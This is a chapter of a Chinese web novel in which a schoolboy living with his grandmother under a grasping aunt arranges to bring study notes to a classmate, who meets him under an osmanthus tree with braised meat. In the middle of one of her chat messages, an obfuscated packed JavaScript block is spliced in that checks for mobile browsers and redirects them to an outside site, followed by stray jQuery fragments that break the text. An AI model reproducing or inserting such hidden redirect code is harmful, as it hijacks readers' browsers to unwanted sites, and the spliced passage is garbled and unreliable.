江辛延原本打算拿完笔记直接回学校。
但经过傍晚这桩突发状况，他决定晚上留下来，既是陪奶奶，也是为了给江常梅他们施压。
他未成年，奶奶本来可以成为他的监护人，但因为生了这种病，这个身份最后就落在江常梅身上。
房子和遗产都是江常梅在代管。
他已经能想到银行卡里的钱，被江常梅挖出多少个窟窿了。
但他只能暂时睁只眼闭只眼，因为除了江常梅，没人能管奶奶。
江常梅拒绝送奶奶去养老院，她绝不会让养老院赚走一分钱。留着奶奶在身边，她才能名正言顺地从那笔遗产里拿钱出来用。
晚饭时桌上就是四个菜，一个葱煎鸡蛋，一盘炒土豆片，一个毛豆烧丝瓜，还有一盘白豆腐。
江常梅上菜时，还要装模作样对江辛延说：“回来也不打个电话，早晓得你回来，我就去买块肉了。”
至于晚上厨房里传来红烧肉味，最后为什么凭空消失在餐桌，他不太关心，大概率就是藏在了他们一家三口盛饭的碗底。
他根本没胃口跟这家人一起吃饭，说自己不吃了。江常梅也不管他，去叫其他人。
王贺俊非要嘴贱，大声阴阳怪气说：“肯定吃不下啊，去找人还在外面买肯德基，都打包带回来了！”
江辛延本来想把汉堡留给奶奶，但奶奶怎么都不肯吃，说要留给等等回来吃。
就像小时候一样，奶奶带他去吃快餐时，总说自己“不爱吃”，只是笑着看他吃。
她虽然忘记了很多事，可有些事就像本能的条件反射，无法被这场病夺走和抹去。
江辛延没有勉强，结果王贺俊刚刚看到他拿在手里的快餐纸袋，馋虫上脑，直接开口找他讨要。
他扔下一句“不给”，直接拿进房间，把王贺俊气死。
江常梅家是老两室改的三室，他们夫妻住主卧，王贺俊用次卧，剩下就是客厅的空间里，紧紧巴巴弄出来的一个隔断间，给江辛延和奶奶住。
江常梅还总把平时不用的杂物，都堆在他们这个房间。
好在他住校后，不怎么回来过夜，折叠床平时都收起来。屋里连书桌也没有，才让狭小的空间稍微没那么拥挤。
高一的教科书和资料都放在塑料收纳箱里，找起来很容易，他把那些笔记本找出来，又检查了里面的东西，确定王贺俊没动过。
高一整年的笔记有快二十本，他把上学期的整理出来，用一个结实的纸袋装好。
箱子放回原处后，江辛延坐在房间里，突然不知道要干什么。
客厅里交错的碗筷声，让他本就不好的情绪更加烦躁。
大概是奶奶手不稳，把饭菜弄到地上，江常梅又是不耐烦地一通数落。
江辛延叹了口气，没有出去，只是故意把手边的收纳箱抬起，然后重重放在地上，装满书本的箱子砸出声响，随后外面才没声了。
他在不在家，奶奶都被这么对待。甚至他不在的时候，情况只会比现在更糟糕。
好在这个病会让她忘记很多事。她睡一觉醒来，可能就不记得了……
为什么长大是件这么漫长的事。
到底什么时候才能有足够多的钱，和奶奶摆脱这个该死的地方？
……
深呼吸平复情绪后，他才想起拿回来的那份快餐。
打开之后，里面的薯条已经因为闷太久，软绵绵地挤在盒子里。汉堡也凉掉了，生菜叶和沙拉酱已经不分彼此、黏黏糊糊，粘在面包胚和炸鸡上。
冷掉的汉堡吃起来口感大打折扣，但咬了两口，江辛延突然笑了。
郁漾似乎还是记不起，他们在暑假就见过。
是在漫展上。
他第一次去漫展，还是去打工，结果体验一塌糊涂。唯一幸运的是那天遇到她……
江辛延吃得有点走神，思绪不知不觉飘远。直到口袋里的手机震了下，他回过神，还没拿出来，手机又震一下。
吃完汉堡，他掏出手机，发现连着两条消息都是郁漾发来的。
郁漾：【我想问问，你的笔记明天可以带给我吗？】
郁漾：【如果明天不行的话，也没关系，你什么时候方便再给我吧～】
江辛延想起来，昨天没约好，到底什么时候把笔记给她。
手指在键盘上打出“明天”两个字，他停顿了一会儿，又看向那个装着笔记的纸袋。
“明天”从消息框里被删除，他重新输入。
【你现在有时间吗？】
等她回消息的时间，他把剩下的薯条解决。收拾完垃圾，郁漾的新消息已经发来了。
郁漾：【现在吗？】
【不方便的话，明天去学校再给你。】
条消息发过去没多久，郁漾回复了。
郁漾：【我可以出来，不过晚上不能去太远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528162|203611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，家里人会找我。】
两人交换了一下住址，郁漾才发现，江辛延家离她这里不过两条街的距离。
他说直接把笔记送到她家楼下。
郁漾确实是想早点拿到他的笔记。
临近考试，她急需学霸的助力加持。郁漾刚刚发消息就是想试探一下，他昨天到底是开玩笑，还是真的愿意帮自己。
她觉得江辛延应该是读出，自己委婉表达的意思了……
郁漾觉得空手去不太好，她想起下午时，陈明月做了一大锅卤味，于是跑去客厅，问陈明月：“阿姨，我同学等下来给我送复习笔记，我可以拿一点你做的卤肉给他吗？”
“同学来找你啊，当然可以了！”
陈明月还敷着面膜，一听连忙起身，拿了个大号的一次性餐盒，张罗道：“你不用管，我来给你装。”
陈明月手脚麻利，从盛着各种卤肉的不锈钢盆里挑了好几种，有牛肉有猪肉，还有牛肚鸭胗之类的各种部位……
她改刀切好，码在盒子里，给郁漾装满了一盒。
“阿姨，应该也不用这么多吧？”她平时给周曜都没带过这么多。
陈明月想得更周全：“你刚到新学校，同学这么帮你，当然要谢谢人家。多拿一点去，给你同学家里人也尝一下。”
郁漾掂了掂，餐盒拎在手里很有分量。
秋天的晚上刮起凉风，小区里上了年纪的桂花树被养得很好，开着一簇簇茂盛馨香的花朵。
路灯的颜色像极了冷寂的月光，投在桂花树上，幽幽的；加上风一吹，空气里都是桂花的暗香在浮动，时淡时浓。
又到了一年里她最喜欢的时候，大街小巷飘满桂花香味的季节。
以至于她见到江辛延的时候，一时间觉得，他好像也是桂花味的。
江辛延站在那棵最大的桂花树下，身穿校服，和树一样颀长挺拔。他身上披着被树杈搅碎的冷白灯光，还有刚才被风抖落的细小花朵。
一瞬间，郁漾幻视自己踏入了广寒宫。
他就像是刚刚从身边的那棵桂花树幻化而来，一身清冷，又携着暗香。
小说动漫里的精怪幻化成人，都很像本体。桂花树如果能变成人，一定就是江辛延这样，清冽又好看的。
郁漾刚走到树下，又一阵风起，树下落了一小片桂花雨。
她感觉自己好像掉进那双黑白分明的眼中，和这阵浓烈的香气里。